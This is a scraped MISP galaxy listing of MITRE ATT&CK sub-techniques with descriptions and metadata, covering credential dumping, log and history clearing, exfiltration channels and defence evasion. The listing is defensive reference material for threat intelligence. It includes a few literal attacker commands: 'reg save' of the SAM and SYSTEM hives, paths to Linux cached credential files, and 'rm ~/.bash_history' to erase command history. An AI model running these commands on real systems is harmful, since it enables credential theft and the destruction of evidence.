An adversary could use knowledge of the techniques used by security software to evade detection.(Citation: Brodie)(Citation: Tan) For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed "su" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection.(Citation: Rastogi)
Internal MISP references
UUID a91262d5-b9ff-463f-b8d2-12e4ea1eb3c9 which can be used as unique global reference for Disguise Root/Jailbreak Indicators - T1630.003 in MISP communities and other software using the MISP galaxy
External references
- http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf - webarchive
- http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions - webarchive
- https://attack.mitre.org/techniques/T1630/003 - webarchive
- https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1630.003 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Reduce Key Space - T1600.001
Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)
Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.
Adversaries may modify the key size used and other encryption parameters using specialized commands in a Network Device CLI introduced to the system through Modify System Image to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)
Internal MISP references
UUID 3a40f208-a9c1-4efa-a598-4003c3681fb8 which can be used as unique global reference for Reduce Key Space - T1600.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1600.001 |
| kill_chain | ['attack-Network:defense-evasion'] |
| mitre_data_sources | ['File: File Modification'] |
| mitre_platforms | ['Network'] |
Related clusters
To see the related clusters, click here.
Security Account Manager - T1003.002
Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.
A number of tools can be used to retrieve the SAM file through in-memory techniques:
Alternatively, the SAM can be extracted from the Registry with Reg:
reg save HKLM\sam samreg save HKLM\system system
Creddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)
Notes:
- RID 500 account is the local, built-in administrator.
- RID 501 is the guest account.
- User accounts start with a RID of 1,000+.
Internal MISP references
UUID 1644e709-12d2-41e5-a60f-3470991f5011 which can be used as unique global reference for Security Account Manager - T1003.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1003.002 |
| kill_chain | ['attack-Windows:credential-access'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'File: File Creation', 'Windows Registry: Windows Registry Key Access'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Disable Crypto Hardware - T1600.002
Adversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.
Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of Modify System Image, forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., Reduce Key Space). (Citation: Cisco Blog Legacy Device Attacks)
Internal MISP references
UUID 7efba77e-3bc4-4ca5-8292-d8201dcd64b5 which can be used as unique global reference for Disable Crypto Hardware - T1600.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1600.002 |
| kill_chain | ['attack-Network:defense-evasion'] |
| mitre_data_sources | ['File: File Modification'] |
| mitre_platforms | ['Network'] |
Related clusters
To see the related clusters, click here.
Cached Domain Credentials - T1003.005
Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)
On Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires Password Cracking to recover the plaintext password.(Citation: ired mscache)
On Linux systems, Active Directory credentials can be accessed through caches maintained by software like System Security Services Daemon (SSSD) or Quest Authentication Services (formerly VAS). Cached credential hashes are typically located at /var/lib/sss/db/cache.[domain].ldb for SSSD or /var/opt/quest/vas/authcache/vas_auth.vdb for Quest. Adversaries can use utilities, such as tdbdump, on these database files to dump the cached hashes and use Password Cracking to obtain the plaintext password.(Citation: Brining MimiKatz to Unix)
With SYSTEM or sudo access, the tools/utilities such as Mimikatz, Reg, and secretsdump.py for Windows or Linikatz for Linux can be used to extract the cached credentials.(Citation: Brining MimiKatz to Unix)
Note: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)
Internal MISP references
UUID 6add2ab5-2711-4e9d-87c8-7a0be8531530 which can be used as unique global reference for Cached Domain Credentials - T1003.005 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1003/005 - webarchive
- https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11) - webarchive
- https://github.com/mattifestation/PowerSploit - webarchive
- https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials - webarchive
- https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf - webarchive
- https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1003.005 |
| kill_chain | ['attack-Windows:credential-access', 'attack-Linux:credential-access'] |
| mitre_data_sources | ['Command: Command Execution'] |
| mitre_platforms | ['Windows', 'Linux'] |
Related clusters
To see the related clusters, click here.
Clear Command History - T1070.003
In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.
On Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions.
Adversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history.
Adversaries may also leverage a Network Device CLI on network devices to clear command history data (clear logging and/or clear history).(Citation: US-CERT-TA18-106A)
On Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.
The PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)
Adversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)
Internal MISP references
UUID 3aef9463-9a7a-43ba-8957-a867e07c1e6a which can be used as unique global reference for Clear Command History - T1070.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1070/003 - webarchive
- https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit - webarchive
- https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics - webarchive
- https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7 - webarchive
- https://www.us-cert.gov/ncas/alerts/TA18-106A - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1070.003 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Network:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Deletion', 'File: File Modification', 'Process: Process Creation', 'User Account: User Account Authentication'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Related clusters
To see the related clusters, click here.
Clear Mailbox Data - T1070.008
Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests.
Adversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of Phishing/Internal Spearphishing, Email Collection, Mail Protocols for command and control, or email-based exfiltration such as Exfiltration Over Alternative Protocol. For example, to remove evidence on Exchange servers adversaries have used the ExchangePowerShell PowerShell module, including Remove-MailboxExportRequest to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ExchangePowerShell Module) On Linux and macOS, adversaries may also delete emails through a command line utility called mail or use AppleScript to interact with APIs on macOS.(Citation: Cybereason Cobalt Kitty 2017)(Citation: mailx man page)
Adversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.(Citation: Microsoft OAuth Spam 2022)
Internal MISP references
UUID 438c967d-3996-4870-bfc2-3954752a1927 which can be used as unique global reference for Clear Mailbox Data - T1070.008 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1070/008 - webarchive
- https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf - webarchive
- https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps#mailboxes - webarchive
- https://man7.org/linux/man-pages/man1/mailx.1p.html - webarchive
- https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/ - webarchive
- https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1070.008 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Office-365:defense-evasion', 'attack-Google-Workspace:defense-evasion'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'File: File Deletion', 'File: File Modification', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Office 365', 'Google Workspace'] |
Related clusters
To see the related clusters, click here.
Exfiltration Over Bluetooth - T1011.001
Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.
Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.
Internal MISP references
UUID 613d08bc-e8f4-4791-80b0-c8b974340dfd which can be used as unique global reference for Exfiltration Over Bluetooth - T1011.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1011.001 |
| kill_chain | ['attack-Linux:exfiltration', 'attack-macOS:exfiltration', 'attack-Windows:exfiltration'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Dead Drop Resolver - T1102.001
Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.
Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).
Internal MISP references
UUID f7827069-0bf2-4764-af4f-23fae0d181b7 which can be used as unique global reference for Dead Drop Resolver - T1102.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1102.001 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Remote Desktop Protocol - T1021.001
Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)
Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features or Terminal Services DLL for Persistence.(Citation: Alperovitch Malware)
Internal MISP references
UUID eb062747-2193-45de-8fa2-e62549c37ddf which can be used as unique global reference for Remote Desktop Protocol - T1021.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1021.001 |
| kill_chain | ['attack-Windows:lateral-movement'] |
| mitre_data_sources | ['Logon Session: Logon Session Creation', 'Logon Session: Logon Session Metadata', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Internet Connection Discovery - T1016.001
Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using Ping, tracert, and GET requests to websites.
Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.
Internal MISP references
UUID 132d5b37-aac5-4378-a8dc-3127b18a73dc which can be used as unique global reference for Internet Connection Discovery - T1016.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1016.001 |
| kill_chain | ['attack-Windows:discovery', 'attack-Linux:discovery', 'attack-macOS:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Patch System Image - T1601.001
Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.
To change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.
To change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.
In the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the ROMMONkit method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.
By modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via Weaken Encryption, authentication, via Network Device Authentication, and perimeter defenses, via Network Boundary Bridging. Adding new capabilities for the adversary’s purpose include Keylogging, Multi-hop Proxy, and Port Knocking.
Adversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with Downgrade System Image, one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade.
When the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via TFTP Boot.
When the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with ROMMONkit to achieve persistence.
Internal MISP references
UUID d245808a-7086-4310-984a-a84aaaa43f8f which can be used as unique global reference for Patch System Image - T1601.001 in MISP communities and other software using the MISP galaxy
External references
- http://2015.zeronights.org/assets/files/05-Nosenko.pdf - webarchive
- https://attack.mitre.org/techniques/T1601/001 - webarchive
- https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf - webarchive
- https://tools.cisco.com/security/center/resources/integrity_assurance.html#13 - webarchive
- https://tools.cisco.com/security/center/resources/integrity_assurance.html#7 - webarchive
- https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf - webarchive
- https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf - webarchive
- https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1601.001 |
| kill_chain | ['attack-Network:defense-evasion'] |
| mitre_data_sources | ['File: File Modification'] |
| mitre_platforms | ['Network'] |
Related clusters
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Exfiltration over USB - T1052.001
Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.
Internal MISP references
UUID a3e1e6c5-9c74-4fc0-a16c-a9d228c17829 which can be used as unique global reference for Exfiltration over USB - T1052.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1052.001 |
| kill_chain | ['attack-Linux:exfiltration', 'attack-macOS:exfiltration', 'attack-Windows:exfiltration'] |
| mitre_data_sources | ['Command: Command Execution', 'Drive: Drive Creation', 'File: File Access', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Downgrade System Image - T1601.002
Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)
On embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.
Downgrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as Weaken Encryption. Downgrading of a system image can be done on its own, or it can be used in conjunction with Patch System Image.
Internal MISP references
UUID fc74ba38-dc98-461f-8611-b3dbf9978e3d which can be used as unique global reference for Downgrade System Image - T1601.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1601.002 |
| kill_chain | ['attack-Network:defense-evasion'] |
| mitre_data_sources | ['File: File Modification'] |
| mitre_platforms | ['Network'] |
Related clusters
To see the related clusters, click here.
Windows Remote Management - T1021.006
Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.
WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with Windows Management Instrumentation.(Citation: MSDN WMI)
Internal MISP references
UUID 60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65 which can be used as unique global reference for Windows Remote Management - T1021.006 in MISP communities and other software using the MISP galaxy
External references
- http://msdn.microsoft.com/en-us/library/aa384426 - webarchive
- https://attack.mitre.org/techniques/T1021/006 - webarchive
- https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc - webarchive
- https://msdn.microsoft.com/en-us/library/aa394582.aspx - webarchive
- https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1021.006 |
| kill_chain | ['attack-Windows:lateral-movement'] |
| mitre_data_sources | ['Command: Command Execution', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation', 'Service: Service Metadata'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
File Transfer Protocols - T1071.002
Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Protocols such as SMB(Citation: US-CERT TA18-074A), FTP(Citation: ESET Machete July 2019), FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.
Internal MISP references
UUID 9a60a291-8960-4387-8a4a-2ab5c18bb50b which can be used as unique global reference for File Transfer Protocols - T1071.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1071.002 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control', 'attack-Network:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Related clusters
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Uninstall Malicious Application - T1630.001
Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by:
- Abusing device owner permissions to perform silent uninstallation using device owner API calls.
- Abusing root permissions to delete files from the filesystem.
- Abusing the accessibility service. This requires sending an intent to the system to request uninstallation, and then abusing the accessibility service to click the proper places on the screen to confirm uninstallation.
Internal MISP references
UUID 0cdd66ad-26ac-4338-a764-4972a1e17ee3 which can be used as unique global reference for Uninstall Malicious Application - T1630.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1630.001 |
| kill_chain | ['mobile-attack-Android:defense-evasion'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
Invalid Code Signature - T1036.001
Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)
Unlike Code Signing, this activity will not result in a valid signature.
Internal MISP references
UUID b4b7458f-81f2-4d38-84be-1c5ba0167a52 which can be used as unique global reference for Invalid Code Signature - T1036.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1036.001 |
| kill_chain | ['attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Metadata'] |
| mitre_platforms | ['macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Local Data Staging - T1074.001
Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.
Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)
Internal MISP references
UUID 1c34f7aa-9341-4a48-bfab-af22e51aca6c which can be used as unique global reference for Local Data Staging - T1074.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1074.001 |
| kill_chain | ['attack-Linux:collection', 'attack-macOS:collection', 'attack-Windows:collection'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'File: File Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
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Application Access Token - T1550.001
Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.
Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019)
OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)
For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)
Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)
Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user’s AWS API credentials may be able to use the sts:GetFederationToken API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.
Internal MISP references
UUID f005e783-57d4-4837-88ad-dbe7faee1c51 which can be used as unique global reference for Application Access Token - T1550.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1550/001 - webarchive
- https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/ - webarchive
- https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials - webarchive
- https://cloud.google.com/iam/docs/service-account-monitoring - webarchive
- https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen - webarchive
- https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html - webarchive
- https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html - webarchive
- https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens - webarchive
- https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration - webarchive
- https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/ - webarchive
- https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1550.001 |
| kill_chain | ['attack-Office-365:defense-evasion', 'attack-SaaS:defense-evasion', 'attack-Google-Workspace:defense-evasion', 'attack-Containers:defense-evasion', 'attack-IaaS:defense-evasion', 'attack-Azure-AD:defense-evasion', 'attack-Office-365:lateral-movement', 'attack-SaaS:lateral-movement', 'attack-Google-Workspace:lateral-movement', 'attack-Containers:lateral-movement', 'attack-IaaS:lateral-movement', 'attack-Azure-AD:lateral-movement'] |
| mitre_data_sources | ['Web Credential: Web Credential Usage'] |
| mitre_platforms | ['Office 365', 'SaaS', 'Google Workspace', 'Containers', 'IaaS', 'Azure AD'] |
Related clusters
To see the related clusters, click here.
SQL Stored Procedures - T1505.001
Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).
Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017)
Microsoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR)
Internal MISP references
